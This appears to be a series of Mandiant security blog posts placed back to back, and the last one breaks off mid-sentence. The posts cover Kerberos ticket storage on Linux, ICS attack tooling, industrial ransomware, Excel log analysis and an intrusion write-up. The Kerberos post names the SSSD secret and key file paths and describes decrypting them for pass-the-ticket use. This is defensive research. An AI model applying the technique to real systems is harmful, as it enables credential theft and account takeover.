There are several ways to configure a Linux system to store Kerberos tickets. In this blog post, we will introduce Kerberos and cover some of the various storage solutions. We will also introduce a new tool that extracts Kerberos tickets from domain-joined systems that utilize the System Security Services Daemon Kerberos Cache Manager (SSSD KCM).

#### What is Kerberos

Kerberos is a standardized authentication protocol that was originally created by MIT in the 1980s. The protocol has evolved over time. Today, Kerberos Version 5 is implemented by numerous products, including Microsoft Active Directory. Kerberos was originally designed to mutually authenticate identities over an unsecured communication line.

The Microsoft implementation of Kerberos is used in Active Directory environments to securely authenticate users to various services, such as the domain (LDAP), database servers (MSSQL) and file shares (SMB/CIFS). While other authentication protocols exist within Active Directory, Kerberos is one of the most popular methods. Technical documentation on how Microsoft implemented Kerberos Protocol Extensions within Active Directory can be found in the MS-KILE standards published on MSDN.

#### Short Example of Kerberos Authentication in Active Directory

To illustrate how Kerberos works, we have selected a common scenario where a user John Smith with the account ACMENET.CORP\sa_jsmith wishes to authenticate to a Windows SMB (CIFS) file share in the Acme Corporation domain, hosted on the server SQLSERVER.ACMENET.CORP.

There are two main types of Kerberos tickets used in Active Directory: Ticket Granting Ticket (TGT) and service tickets. Service tickets are obtained from the Ticket Granting Service (TGS). The TGT is used to authenticate the identity of a particular entity in Active Directory, such as a user account. Service tickets are used to authenticate a user to a specific service hosted on a system. A valid TGT can be used to request service tickets from the Key Distribution Center (KDC). In Active Directory environments, the KDC is hosted on a Domain Controller.

The diagram in Figure 1 shows the authentication flow.

Figure 1: Example Kerberos authentication flow

In summary:

1. The user requests a Ticket Granting Ticket (TGT) from the Domain Controller.
2. Once granted, the user passes the TGT back to the Domain Controller and requests a service ticket for cifs/SQLSERVER.ACMENET.CORP.
3. After the Domain Controller validates the request, a service ticket is issued that will authenticate the user to the CIFS (SMB) service on SQLSERVER.ACMENET.CORP.
4. The user receives the service ticket from the Domain Controller and initiates an SMB negotiation with SQLSERVER.ACMENET.CORP. During the authentication process, the user provides a Kerberos blob inside an “AP-REQ” structure that includes the service ticket previously obtained.
5. The server validates the service ticket and authenticates the user.
6. If the server determines that the user has permissions to access the share, the user can begin making SMB queries.

For an in-depth example of how Kerberos authentication works, scroll down to view the appendix at the bottom of this article.

#### Kerberos On Linux Domain-Joined Systems

When a Linux system is joined to an Active Directory domain, it also needs to use Kerberos tickets to access services on the Windows Active Directory domain. Linux uses a different Kerberos implementation. Instead of Windows formatted tickets (commonly referred to as the KIRBI format), Linux uses MIT format Kerberos Credential Caches (CCACHE files).

When a user on a Linux system wants to access a remote service with Kerberos, such as a file share, the same procedure is used to request the TGT and corresponding service ticket. In older, more traditional implementations, Linux systems often stored credential cache files in the /tmp directory. Although the files are locked down and not world-readable, a malicious user with root access to the Linux system could trivially obtain a copy of the Kerberos tickets and reuse them.

On modern versions of Red Hat Enterprise Linux and derivative distributions, the System Security Services Daemon (SSSD) is used to manage Kerberos tickets on domain-joined systems. SSSD implements its own form of Kerberos Cache Manager (KCM) and encrypts tickets within a database on the system. When a user needs access to a TGT or service ticket, the ticket is retrieved from the database, decrypted, and then passed to the remote service (for more on SSSD, check out this great research from Portcullis Labs).

By default, SSSD maintains a copy of the database at the path /var/lib/sss/secrets/secrets.ldb. The corresponding key is stored as a hidden file at the path /var/lib/sss/secrets/.secrets.mkey. By default, the key is only readable if you have root permissions.

If a user is able to extract both of these files, it is possible to decrypt the files offline and obtain valid Kerberos tickets. We have published a new tool called SSSDKCMExtractor that will decrypt relevant secrets in the SSSD database and pull out  the credential cache Kerberos blob. This blob can be converted into a usable Kerberos CCache file that can be passed to other tools, such as Mimikatz, Impacket, and smbclient. CCache files can be converted into Windows format using tools such as Kekeo.

We leave it as an exercise to the reader to convert the decrypted Kerberos blob into a usable credential cache file for pass-the-cache and pass-the-ticket operations.

Using SSSDKCMExtractor is simple. An example SSSD KCM database and key are shown in Figure 2.

Figure 2: SSSD KCM files

Invoking SSSDKCMExtractor with the --database and --key parameters will parse the database and decrypt the secrets as shown in Figure 3.

Figure 3: Extracting Kerberos data

# Monitoring ICS Cyber Operation Tools and Software Exploit Modules To Anticipate Future Threats

There has only been a small number of broadly documented cyber attacks targeting operational technologies (OT) / industrial control systems (ICS) over the last decade. While fewer attacks is clearly a good thing, the lack of an adequate sample size to determine risk thresholds can make it difficult for defenders to understand the threat environment, prioritize security efforts, and justify resource allocation.

To address this problem, FireEye Mandiant Threat Intelligence produces a range of reports for subscription customers that focus on different indicators to predict future threats. Insights from activity on dark web forums, anecdotes from the field, ICS vulnerability research, and proof of concept research makes it possible to illustrate the threat landscape even with limited incident data. This blog post focuses on one of those source sets—ICS-oriented intrusion and attack tools, which will be referred to together in this post as cyber operation tools.

ICS-oriented cyber operation tools refer to hardware and software that has the capability to either exploit weaknesses in ICS, or interact with the equipment in such a way that could be utilized by threat actors to support intrusions or attacks. For this blog post, we separated exploit modules that are developed to run on top of frameworks such as Metasploit, Core Impact, or Immunity Canvas from other cyber operation tools due to their exceedingly high number.

#### Cyber Operation Tools Reduce the Level of Specialized Knowledge Attackers Need to Target ICS

As ICS are a distinct sub-domain to information and computer technology, successful intrusions and attacks against these systems often requires specialized knowledge, establishing a higher threshold for successful attacks. Since intrusion and attack tools are often developed by someone who already has the expertise, these tools can help threat actors bypass the need for gaining some of this expertise themselves, or it can help them gain the requisite knowledge more quickly. Alternatively, experienced actors may resort to using known tools and exploits to conceal their identity or maximize their budget.

Figure 1: ICS attacker knowledge curve

The development and subsequent adoption of standardized cyber operation tools is a general indication of increasing adversarial capability. Whether these tools were developed by researchers as proof-of-concept or utilized during past incidents, access to them lowers the barrier for a variety of actors to learn and develop future skills or custom attack frameworks. Following this premise, equipment that is vulnerable to exploits using known cyber operation tools becomes low-hanging fruit for all sorts of attackers.

#### ICS Cyber Operation Tool Classification

Mandiant Intelligence tracks a large number of publicly available ICS-specific cyber operation tools. The term "ICS-specific," as we employ it, does not have a hard-edged definition. While the vast majority of cyber operation tools we track are clear-cut cases, we have, in some instances, considered the intent of the tool's creator(s) and the tool's reasonably foreseeable impact on ICS software and equipment. Note, we excluded tools that are IT-based but may affect OT systems, such as commodity malware or known network utilities.  We included only a few exceptions, where we identified specialized adaptations or features that enabled the tool to interact with ICS, such as the case of nmap scripts.

We assigned each tool to at least one of eight different categories or classes, based on functionality.

Table 1: Classes of ICS-specific intrusion and attack tools

While some of the tools included in our list were created as early as 2004, most of the development has taken place during the last 10 years. The majority of the tools are also vendor agnostic, or developed to target products from some of the largest ICS original equipment manufacturers (OEM). Siemens stands out in this area, with 60 percent of the vendor-specific tools potentially targeting its products. Other tools we identified were developed to target products from Schneider Electric, GE, ABB, Digi International, Rockwell Automation, and Wind River Systems.

Figure 2 depicts the number of tools by class. Of note, network discovery tools make up more than a quarter of the tools. We also highlight that in some cases, the software exploitation tools we track host extended repositories of modules to target specific products or vulnerabilities.

Figure 2: ICS-specific intrusion and attack tools by class

#### Software Exploit Modules

Software exploit modules are the most numerous subcomponents of cyber operation tools given their overall simplicity and accessibility. Most frequently, exploit modules are developed to take advantage of a specific vulnerability and automate the exploitation process. The module is then added to an exploit framework. The framework works as a repository that may contain hundreds of modules for targeting a wide variety of vulnerabilities, networks, and devices. The most popular frameworks include Metasploit, Core Impact, and Immunity Canvas. Also, since 2017, we have identified the development of younger ICS-specific exploit frameworks such as AutosploitIndustrial Exploitation Framework (ICSSPLOIT), and the Industrial Security Exploitation Framework.

Given the simplicity and accessibility of exploit modules, they are attractive to actors with a variety of skill levels. Even less sophisticated actors may take advantage of an exploit module without completely understanding how a vulnerability works or knowing each of the commands required to exploit it. We note that, although most of the exploit modules we track were likely developed for research and penetration testing, they could also be utilized throughout the attack lifecycle.

Exploit Modules Statistics

Since 2010, Mandiant Intelligence has tracked exploit modules for the three major exploitation frameworks: Metasploit, Core Impact, and Immunity Canvas. We currently track hundreds of ICS-specific exploit modules related to more than 500 total vulnerabilities, 71 percent of them being potential zero-days. The break down is depicted in Figure 3. Immunity Canvas currently has the most exploits due in large part to the efforts of Russian security research firm GLEG.

Figure 3: ICS exploit modules by framework

Metasploit framework exploit modules deserve particular attention. Even though it has the fewest number of modules, Metasploit is freely available and broadly used for IT penetration testing, while Core Impact and Immunity Canvas are both commercial tools. This makes Metasploit the most accessible of the three frameworks. However, it means that module development and maintenance are provided by the community, which is likely contributing to the lower number of modules.

It is also worthwhile to examine the number of exploit modules by ICS product vendor. The results of this analysis are depicted in Figure 4, which displays vendors with the highest number of exploit modules (over 10).

Figure 4: Vendors with 10 exploit modules or more

Figure 4 does not necessarily indicate which vendors are the most targeted, but which products have received the most attention from exploit writers. Several factors could contribute to this, including the availability of software to experiment with, general ease of writing an exploit on particular vulnerabilities, or how the vulnerability matches against the expertise of the exploit writers.

Some of the vendors included in the graph have been acquired by other companies, however we tracked them separately as the vulnerability was identified prior to the acquisition. One example of this is Schneider Electric, which acquired 7-Technologies in 2011 and altered the names of their product portfolio. We also highlight that the graph solely counts exploit modules, regardless of the vulnerability exploited. Modules from separate frameworks could target the same vulnerability and would each be counted separately.

#### ICS Cyber Operation Tools and Software Exploitation Frameworks Bridge Knowledge and Expertise Gaps

ICS-specific cyber operation tools often released by researchers and security practitioners are useful assets to help organizations learn about ongoing threats and product vulnerabilities. However, as anything publicly available, they can also lower the bar for threat actors that hold an interest in targeting OT networks. Although successful attacks against OT environments will normally require a high level of skills and expertise from threat actors, the tools and exploit modules discussed in this post are making it easier to bridge the knowledge gap.

Awareness about the proliferation of ICS cyber operation tools should serve as an important risk indicator of the evolving threat landscape. These tools provide defenders with an opportunity to perform risk assessments in test environments and to leverage aggregated data to communicate and obtain support from company executives. Organizations that do not pay attention to available ICS cyber operation tools risk becoming low-hanging fruit for both sophisticated and unexperienced threat actors exploring new capabilities.

# Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT

Since at least 2017, there has been a significant increase in public disclosures of ransomware incidents impacting industrial production and critical infrastructure organizations. Well-known ransomware families like WannaCry, LockerGoga, MegaCortex, Ryuk, Maze, and now SNAKEHOSE (a.k.a. Snake / Ekans), have cost victims across a variety of industry verticals many millions of dollars in ransom and collateral costs. These incidents have also resulted in significant disruptions and delays to the physical processes that enable organizations to produce and deliver goods and services.

While lots of information has been shared about the victims and immediate impacts of industrial sector ransomware distribution operations, the public discourse continues to miss the big picture. As financial crime actors have evolved their tactics from opportunistic to post-compromise ransomware deployment, we have observed an increase in adversaries’ internal reconnaissance that enables them to target systems that are vital to support the chain of production. As a result, ransomware infections—either affecting critical assets in corporate networks or reaching computers in OT networks—often result in the same outcome: insufficient or late supply of end products or services.

Truly understanding the unique nuances of industrial sector ransomware distribution operations requires a combination of skillsets and visibility across both IT and OT systems. Using examples derived from our consulting engagements and threat research, we will explain how the shift to post-compromise ransomware operations is fueling adversaries’ ability to disrupt industrial operations.

#### Industrial Sector Ransomware Distribution Poses Increasing Risk as Actors Move to Post-Compromise Deployment

The traditional approach to ransomware attacks predominantly relies on a “shotgun” methodology that consists of indiscriminate campaigns spreading malware to encrypt files and data from a variety of victims. Actors following this model will extort victims for an average of $500 to$1,000 USD and hope to receive payments from as many individuals as possible. While early ransomware campaigns adopting this approach were often considered out of scope for OT security, recent campaigns targeting entire industrial and critical infrastructure organizations have moved toward adopting a more operationally complex post-compromise approach.

In post-compromise ransomware incidents, a threat actor may still often rely on broadly distributed malware to obtain their initial access to a victim environment, but once on a network they will focus on gaining privileged access so they can explore the target networks and identify critical systems before deploying the ransomware. This approach also makes it possible for the attacker to disable security processes that would normally be enough to detect known ransomware indicators or behaviors. Actors cast wider nets that may impact critical systems, which  expand the scale and effectiveness of their end-stage operations by inflicting maximum pain on the victim. As a result, they are better positioned to negotiate and can often demand much higher ransoms—which are commonly commensurate with the victims’ perceived ability to pay and the value of the ransomed assets themselves. For more information, including technical detail, on similar activity, see our recent blog posts on FIN6 and TEMP.MixMaster.

Figure 1: Comparison of indiscriminate vs. post-compromise ransomware approaches

Historical incidents involving the opportunistic deployment of ransomware have often been limited to impacting individual computers, which occasionally included OT intermediary systems that were either internet-accessible, poorly segmented, or exposed to infected portable media. In 2017, we also observed campaigns such as NotPetya and BadRabbit, where wiper malware with worm-like capabilities were released to disrupt organizations while masquerading as ransomware. While these types of campaigns pose a threat to industrial production, the adoption of post-compromise deployment presents three major twists in the plot.

• As threat actors tailor their attacks to target specific industries or organizations, companies with high-availability requirements (e.g., public utilities, hospitals, and industrial manufacturing) and perceived abilities to pay ransoms (e.g., higher revenue companies) become prime targets. This represents an expansion of financial crime actors’ targeting of industries that process directly marketable information (e.g., credit card numbers or customer data) to include the monetization of production environments.
• As threat actors perform internal reconnaissance and move laterally across target networks before deploying ransomware, they are now better positioned to cast wide nets that impact the target’s most critical assets and negotiate from a privileged position.
• Most importantly, many of the tactics, techniques, and procedures (TTPs) often used by financial actors in the past, resemble those employed by high-skilled actors across the initial and middle stages of the attack lifecycle of past OT security incidents. Therefore, financial crime actors are likely capable of pivoting to and deploying ransomware in OT intermediary systems to further disrupt operations.

#### Organized Financial Crime Actors Have Demonstrated an Ability to Disrupt OT Assets

An actor’s capability to obtain financial benefits from post-compromise ransomware deployment depends on many factors, one of which is the ability to disrupt systems that are the most relevant to the core mission of the victim organizations. As a result, we can expect mature actors to gradually broaden their selection from only IT and business processes, to also OT assets monitoring and controlling physical processes. This is apparent in ransomware families such as SNAKEHOSE, which was designed to execute its payload only after stopping a series of processes that included some industrial software from vendors such as General Electric and Honeywell. At first glance, the SNAKEHOSE kill list appeared to be specifically tailored to OT environments due to the relatively small number of processes (yet high number of OT-related processes) identified with automated tools for initial triage. However, after manually extracting the list from the function that was terminating the processes, we determined that the kill list utilized by SNAKEHOSE actually targets over 1,000 processes.

In fact, we have observed very similar process kill lists deployed alongside samples from other ransomware families, including LockerGoga, MegaCortex, and Maze. Not surprisingly, all of these code families have been associated with high-profile incidents impacting industrial organizations for the past two years. The earliest kill list containing OT processes we identified was a batch script deployed alongside LockerGoga in January 2019. The list is very similar to those used later in MegaCortex incidents, albeit with notable exceptions, such as an apparent typo on an OT-related process that is not present in our SNAKEHOSE or MegaCortex samples: “proficyclient.exe4”. The absence of this typo in the SNAKEHOSE and MegaCortex samples could indicate that one of these malware authors identified and corrected the error when initially copying the OT-processes from the LockerGoga list, or that the LockerGoga author failed to properly incorporate the processes from some theoretical common source of origin, such as a dark web post.

Figure 2: ‘proficyclient.exe’ spelling in kill lists deployed with LockerGoga (left) and SNAKEHOSE (right)

Regardless of which ransomware family first employed the OT-related processes in a kill list or where the malware authors acquired the list, the seeming ubiquity of this list across malware families suggests that the list itself is more noteworthy than any individual malware family that has implemented it. While the OT processes identified in these lists may simply represent the coincidental output of automated process collection from target environments and not a targeted effort to impact OT, the existence of this list provides financial crime actors opportunities to disrupt OT systems. Furthermore, we expect that as financially motivated threat actors continue to impact industrial sector organizations, become more familiar with OT, and identify dependencies across IT and OT systems, they will develop capabilities—and potentially intent—to disrupt other systems and environments running industrial software products and technology.

#### Ransomware Deployments in Both IT and OT Systems Have Impacted Industrial Production

As a result of adversaries’ post-compromise strategy and increased awareness of industrial sector targets, ransomware incidents have effectively impacted industrial production regardless of whether the malware was deployed in IT or OT. Ransomware incidents encrypting data from servers and computers in corporate networks have resulted in direct or indirect disruptions to physical production processes overseen by OT networks. This has caused insufficient or late supply of end products or services, representing long-term financial losses in the form of missed business opportunities, costs for incident response, regulatory fines, reputational damage, and sometimes even paid ransoms. In certain sectors, such as utilities and public services, high availability is also critical to societal well-being.

The best-known example of ransomware impacting industrial production due to an IT network infection is Norsk Hydro’s incident from March 2019, where disruptions to Business Process Management Systems (BPMS) forced multiple sites to shut down automation operations. Among other collateral damage, the ransomware interrupted communication between IT systems that are commonly used to manage resources across the production chain. Interruptions to these flows of information containing for example product inventories, forced employees to identify manual alternatives to handle more than 6,500 stock-keeping units and 4,000 shelves. FireEye Mandiant has responded to at least one similar case where TrickBot was used to deploy Ryuk ransomware at an oil rig manufacturer. While the infection happened only on corporate networks, the biggest business impact was caused by disruptions of Oracle ERP software driving the company temporarily offline and negatively affecting production.

Ransomware may result in similar outcomes when it reaches IT-based assets in OT networks, for example human-machine interfaces (HMIs), supervisory control and data acquisition (SCADA) software, and engineering workstations. Most of this equipment relies on commodity software and standard operating systems that are vulnerable to a variety of IT threats. Mandiant Intelligence is aware of at least one incident in which an industrial facility suffered a plant shutdown due to a large-scale ransomware attack, based on sensitive sources. The facility's network was improperly segmented, which allowed the malware to propagate from the corporate network into the OT network, where it encrypted servers, HMIs, workstations, and backups. The facility had to reach out to multiple vendors to retrieve backups, many of which were decades old, which delayed complete restoration of production.

As recently as February 2020, the Cybersecurity Infrastructure and Security Agency (CISA) released Alert AA20-049A describing how a post-compromise ransomware incident had affected control and communication assets on the OT network of a natural gas compression facility. Impacts to HMIs, data historians, and polling servers resulted in loss of availability and loss of view for human operators. This prompted an intentional shut down of operations that lasted two days.

#### Mitigating the Effects of Ransomware Requires Defenses Across IT and OT

Threat actors deploying ransomware have made rapid advances both in terms of effectiveness and as a criminal business model, imposing high operational costs on victims. We encourage all organizations to evaluate their safety and industrial risks related to ransomware attacks. Note that these recommendations will also help to build resilience in the face of other threats to business operations (e.g., cryptomining malware infections). While every case will differ, we highlight the following recommendations.

For custom services and actionable intelligence in both IT and OT, contact FireEye Mandiant Consulting, Managed Defense, and Threat Intelligence.

• Conduct tabletop and/or controlled red team exercises to assess the current security posture and ability of your organization to respond to the ransomware threat. Simulate attack scenarios (mainly in non-production environments) to understand how the incident response team can (or cannot) detect, analyze, and recover from such an attack. Revisit recovery requirements based on the exercise results. In general, repeatedly practicing various threat scenarios will improve awareness and ability to respond to real incidents.
• Review operations, business processes, and workflows to identify assets that are critical to maintaining continuous industrial operations. Whenever possible, introduce redundancy for critical assets with low tolerance to downtime. The right amount and type of redundancy is unique for each organization and can be determined through risk assessments and cost-benefit analyses. Note that such analyses cannot be conducted without involving business process owners and collaborating across IT and OT.
• Logically segregate primary and redundant assets either by a network-based or host-based firewall with subsequent asset hardening (e.g., disabling services typically used by ransomware for its propagation, like SMB, RDP, and WMI). In addition to creating policies to disable unnecessary peer-to-peer and remote connections, we recommend routine auditing of all systems that potentially host these services and protocols. Note that such architecture is generally more resilient to security incidents.
• When establishing a rigorous back-up program, special attention should be paid to ensuring the security (integrity) of backups. Critical backups must be kept offline or, at minimum, on a segregated network.
• Optimize recovery plans in terms of recovery time objective. Introduce required alternative workflows (including manual) for the duration of recovery. This is especially critical for organizations with limited or no redundancy of critical assets. When recovering from backups, harden recovered assets and the entire organization's infrastructure to prevent recurring ransomware infection and propagation.
• Establish clear ownership and management of OT perimeter protection devices to ensure emergency, enterprise-wide changes are possible. Effective network segmentation must be maintained during containment and active intrusions.
• Hunt for adversary intrusion activity in intermediary systems, which we define as the networked workstations and servers using standard operating systems and protocols. While the systems are further away from direct control of physical processes, there is a much higher likelihood of attacker presence.
• Note, that every organization is different, with unique internal architectures and processes, stakeholder needs, and customer expectations. Therefore, all recommendations should be carefully considered in the context of the individual infrastructures. For instance, proper network segmentation is highly advisable for mitigating the spread of ransomware. However, organizations with limited budgets may instead decide to leverage redundant asset diversification, host-based firewalls, and hardening as an alternative to segregating with hardware firewalls.

# Excelerating Analysis – Tips and Tricks to Analyze Data with Microsoft Excel

Incident response investigations don’t always involve standard host-based artifacts with fully developed parsing and analysis tools. At FireEye Mandiant, we frequently encounter incidents that involve a number of systems and solutions that utilize custom logging or artifact data. Determining what happened in an incident involves taking a dive into whatever type of data we are presented with, learning about it, and developing an efficient way to analyze the important evidence.

One of the most effective tools to perform this type of analysis is one that is in almost everyone’s toolkit: Microsoft Excel. In this article we will detail some tips and tricks with Excel to perform analysis when presented with any type of data.

#### Summarizing Verbose Artifacts

Tools such as FireEye Redline include handy timeline features to combine multiple artifact types into one concise timeline. When we use individual parsers or custom artifact formats, it may be tricky to view multiple types of data in the same view. Normalizing artifact data with Excel to a specific set of easy-to-use columns makes for a smooth combination of different artifact types.

Consider trying to review parsed file system, event log, and Registry data in the same view using the following data.

 $SI Created$SI Modified File Name File Path File Size File MD5 File Attributes File Deleted 2019-10-14 23:13:04 2019-10-14 23:33:45 Default.rdp C:\Users\ attacker\Documents\ 485 c482e563df19a40 1941c99888ac2f525 Archive FALSE
 Event Gen Time Event ID Event Message Event Category Event User Event System 2019-10-14 23:13:06 4648 A logon was attempted using explicit credentials. Subject:    Security ID:  DomainCorp\Administrator    Account Name:  Administrator    Account Domain:  DomainCorp    Logon ID:  0x1b38fe    Logon GUID:  {00000000-0000-0000-0000-000000000000} Account Whose Credentials Were Used:    Account Name:  VictimUser    Account Domain:  DomainCorp    Logon GUID:  {00000000-0000-0000-0000-000000000000} Target Server:    Target Server Name: DestinationServer    Additional Information: Process Information:    Process ID:  0x5ac    Process Name:  C:\Program Files\Internet Explorer\iexplore.exe Network Information:    Network Address: -    Port:   - Logon Administrator SourceSystem
 KeyModified Key Path KeyName ValueName ValueText Type 2019-10-14 23:33:46 HKEY_USER\Software\Microsoft\Terminal Server Client\Servers\ DestinationServer UsernameHInt VictimUser REG_SZ

Since these raw artifact data sets have different column headings and data types, they would be difficult to review in one timeline. If we format the data using Excel string concatenation, we can make the data easy to combine into a single timeline view. To format the data, we can use the “&” operation with a function to join information we may need into a “Summary” field.

An example command to join the relevant file system data delimited by ampersands could be “=D2 & " | " & C2 & " | " & E2 & " | " & F2 & " | " & G2 & " | " & H2”. Combining this format function with a “Timestamp” and “Timestamp Type” column will complete everything we need for streamlined analysis.

 Timestamp Timestamp Type Event 2019-10-14 23:13:04 $SI Created C:\Users\attacker\Documents\ | Default.rdp | 485 | c482e563df19a401941c99888ac2f525 | Archive | FALSE 2019-10-14 23:13:06 Event Gen Time 4648 | A logon was attempted using explicit credentials. Subject: Security ID: DomainCorp\Administrator Account Name: Administrator Account Domain: DomainCorp Logon ID: 0x1b38fe Logon GUID: {00000000-0000-0000-0000-000000000000} Account Whose Credentials Were Used: Account Name: VictimUser Account Domain: DomainCorp Logon GUID: {00000000-0000-0000-0000-000000000000} Target Server: Target Server Name: DestinationServer Additional Information: Process Information: Process ID: 0x5ac Process Name: C:\Program Files\Internet Explorer\iexplore.exe Network Information: Network Address: - Port: - | Logon | Administrator | SourceSystem 2019-10-14 23:33:45$SI Modified C:\Users\attacker\Documents\ | Default.rdp | 485 | c482e563df19a401941c99888ac2f525  | Archive | FALSE 2019-10-14 23:33:46 KeyModified HKEY_USER\Software\Microsoft\Terminal Server Client\Servers\ | DestinationServer | UsernameHInt | VictimUser

After sorting by timestamp, we can see evidence of the “DomainCorp\Administrator” account connecting from “SourceSystem” to “DestinationServer” with the “DomainCorp\VictimUser” account via RDP across three artifact types.

#### Time Zone Conversions

One of the most critical elements of incident response and forensic analysis is timelining. Temporal analysis will often turn up new evidence by identifying events that precede or follow an event of interest. Equally critical is producing an accurate timeline for reporting. Timestamps and time zones can be frustrating, and things can get confusing when the systems being analyzed span various time zones. Mandiant tracks all timestamps in Coordinated Universal Time (UTC) format in its investigations to eliminate any confusion of both time zones and time adjustments such as daylight savings and regional summer seasons.

Of course, various sources of evidence do not always log time the same way. Some may be local time, some may be UTC, and as mentioned, data from sources in various geographical locations complicates things further. When compiling timelines, it is important to first know whether the evidence source is logged in UTC or local time. If it is logged in local time, we need to confirm which local time zone the evidence source is from. Then we can use the Excel TIME()  formula to convert timestamps to UTC as needed.

This example scenario is based on a real investigation where the target organization was compromised via phishing email, and employee direct deposit information was changed via an internal HR application. In this situation, we have three log sources: email receipt logs, application logins, and application web logs.

The email logs are recorded in UTC and contain the following information:

The application logins are recorded in Eastern Daylight Time (EDT) and contain the following:

The application web logs are also recorded in Eastern Daylight Time (EDT) and contain the following:

To take this information and turn it into a master timeline, we can use the CONCAT function (an alternative to the ampersand concatenation used previously) to make a summary of the columns in one cell for each log source, such as this example formula for the email receipt logs:

This is where checking our time zones for each data source is critical. If we took the information as it is presented in the logs and assumed the timestamps were all in the same time zone and created a timeline of this information, it would look like this:

As it stands the previous screenshot, we have some login events to the HR application, which may look like normal activity for the employees. Then later in the day, they receive some suspicious emails. If this were hundreds of lines of log events, we would risk the login and web log events being overlooked as the time of activity precedes our suspected initial compromise vector by a few hours. If this were a timeline used for reporting, it would also be inaccurate.

When we know which time zone our log sources are in, we can adjust the timestamps accordingly to reflect UTC. In this case, we confirmed through testing that the application logins and web logs are recorded in EDT, which is four hours behind UTC, or “UTC-4”. To change these to UTC time, we just need to add four hours to the time. The Excel TIME function makes this easy. We can just add a column to the existing tables, and in the first cell we type “=A2+TIME(4,0,0)”. Breaking this down:

• =A2
• Reference cell A2 (in this case our EDT timestamp). Note this is not an absolute reference, so we can use this formula for the rest of the rows.
• +TIME
• This tells Excel to take the value of the data in cell A2 as a “time” value type and add the following amount of time to it:
• (4,0,0)
• The TIME function in this instance requires three values, which are, from left to right: hours, minutes, seconds. In this example, we are adding 4 hours, 0 minutes, and 0 seconds.

Now we have a formula that takes the EDT timestamp and adds four hours to it to make it UTC. Then we can replicate this formula for the rest of the table. The end result looks like this:

When we have all of our logs in the same time zone, we are ready to compile our master timeline. Taking the UTC timestamps and the summary events we made, our new, accurate timeline looks like this:

Now we can clearly see suspicious emails sent to (fictional) employees Austin and Dave. A few minutes later, Austin’s account logs into the HR application and adds a new bank account. After this, we see the same email sent to Jake. Soon after this, Jake’s account logs into the HR application and adds the same bank account information as Austin’s. Converting all our data sources to the same time zone with Excel allowed us to quickly link these events together and easily identify what the attacker did. Additionally, it provided us with more indicators, such as the known-bad bank account number to search for in the rest of the logs.

Pro Tip: Be sure to account for log data spanning over changes in UTC offset due to regional events such as daylight savings or summer seasons. For example, local time zone adjustments will need to change for logs in United States Eastern Time from Virginia, USA from +TIME(5,0,0) to +TIME(4,0,0) the first weekend in March every year and back from +TIME(4,0,0) to +TIME(5,0,0) the first weekend in November to account for daylight and standard shifts.

#### CountIf for Log Baselining

When reviewing logs that record authentication in the form of a user account and timestamp, we can use COUNTIF to establish simple baselines to identify those user accounts with inconsistent activity.

In the example of user logons that follows, we'll use the formula "=COUNTIF($B$2:$B$25,B2)" to establish a historical baseline. Here is a breakdown of the parameters for this COUNTIF formula located in C2 in our example:

• COUNTIF
• This Excel formula counts how many times a value exists in a range of cells.
• $B$2:$B$25
• This is the entire range of all cells, B2 through B25, that we want to use as a range to search for a specific value. Note the use of "$" to ensure that the start and end of the range are an absolute reference and are not automatically updated by Excel if we copy this formula to other cells. • B2 • This is the cell that contains the value we want to search for and count occurrences of in our range of$B$2:$B$25. Note that this parameter is not an absolute reference with a preceding "$". This allows us to fill the formula down through all rows and ensure that we are counting the applicable user name.

To summarize, this formula will search the username column of all logon data and count how many times the user of each logon has logged on in total across all data points.

When most user accounts log on regularly, a compromised account being used to logon for the first time may clearly stand out when reviewing total log on counts. If we have a specific time frame in mind, it may be helpful to know which accounts first logged on during that time.

The COUNTIF formula can help track accounts through time to identify their first log on which can help identify rarely used credentials that were abused for a limited time frame.

We'll start with the formula "=COUNTIF($B$2:$B2,B2)" in cell D3. Here is a breakdown of the parameters for this COUNTIF formula. Note that the use of "$" for absolute referencing is slightly different for the range used, and that is an importance nuance:

• COUNTIF
• This Excel formula counts how many times a value exists in a range of cells.
• $B$2:$B2 • This is the range of cells, B2 through B2, that we want to start with. Since we want to increase our range as we go through the rows of the log data, the ending cell row number (2 in this example) is not made absolute. As we fill this formula down through the rest of our log data, it will automatically expand the range to include the current log record and all previous logs. • B2 • This cell contains the value we want to search for and provides a count of occurrences found in our defined range. Note that this parameter B2 is not an absolute reference with a preceding "$". This allows us to fill the formula down through all rows and ensure that we are counting the applicable user name.

To summarize, this formula will search the username column of all logon data before and including the current log and count how many times the user of each logon has logged on up to that point in time.

The following example illustrates how Excel automatically updated the range for D15 to $B$2:$B15 using the fill handle. To help visualize a large data set, let's add color scale conditional formatting to each row individually. To do so: 1. Select only the cells we want to compare with the color scale (such as D2 to D25). 2. On the Home menu, click the Conditional Formatting button in the Styles area. 3. Click Color Scales. 4. Click the type of color scale we would like to use. The following examples set the lowest values to red and the highest values to green. We can see how: • Users with lower authentication counts contrast against users with more authentications. • The first authentication times of users stand out in red. Whichever colors are used, be careful not to assume that one color, such as green, implies safety and another color, such as red, implies maliciousness. #### Conclusion The techniques described in this post are just a few ways to utilize Excel to perform analysis on arbitrary data. While these techniques may not leverage some of the more powerful features of Excel, as with any variety of skill set, mastering the fundamentals enables us to perform at a higher level. Employing fundamental Excel analysis techniques can empower an investigator to work through analysis of any presented data type as efficiently as possible. # CertUtil Qualms: They Came to Drop FOMBs This blog post covers an interesting intrusion attempt that Mandiant Managed Defense thwarted involving the rapid weaponization of a recently disclosed vulnerability combined with the creative use of WMI compiled “.bmf” files and CertUtil for obfuscated execution. This intrusion attempt highlights a number of valuable lessons in security, chiefly: attackers work fast – faster than many security teams can react. Additionally, patching complex software environments while keeping the business operational makes it difficult to keep pace with attackers exploiting vulnerabilities, especially when these truths are coupled with rapid exploitation with innovative obfuscation methods utilizing the operating systems own feature set against it. #### Everybody’s Working for the Recon While monitoring our customers around the clock, FireEye Managed Defense identified suspicious file write activity on a system at a European manufacturing client and began our initial investigation by collecting the available volatile and non-volatile data from the affected host. Once evidence collection had completed, we began parsing the forensic data using the parsers available in FireEye's free Redline forensic analysis tool. Analysis of the logs quickly revealed that there were commands executed on the host which were consistent with interactive reconnaissance activity. Typically, once a host has successfully been compromised, attackers are presented with a command shell window which allows them to run commands on the host. These commands can consist of reconnaissance activity which expose useful information about the host to the attacker. The following is a snippet of the commands that we observed successfully executed on the host: ipconfig.exe ipconfig /all whoami.exe whoami The associated parent process that handled execution of the aforementioned listed processes was: "\Weaver\jdk_new\bin\javaw.exe". #### FOMBs AWAY! Once the attackers gained access to the web server by exploiting an unknown 